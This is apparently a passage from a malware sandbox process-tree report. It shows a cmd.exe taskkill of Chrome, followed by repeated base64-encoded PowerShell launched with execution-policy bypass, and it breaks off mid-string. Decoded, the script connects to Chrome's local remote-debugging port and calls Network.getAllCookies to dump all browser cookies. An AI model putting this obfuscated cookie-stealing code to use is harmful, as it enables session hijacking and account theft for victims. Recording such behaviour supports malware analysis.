JAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                        3⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5248
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                      2⤵
                                        PID:6324
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /F /IM chrome.exe
                                          3⤵
                                          • Kills process with taskkill
                                          PID:6364
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADUAMAAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA1ADAAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                        2⤵
                                          PID:6412
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADUAMAAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA1ADAAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABi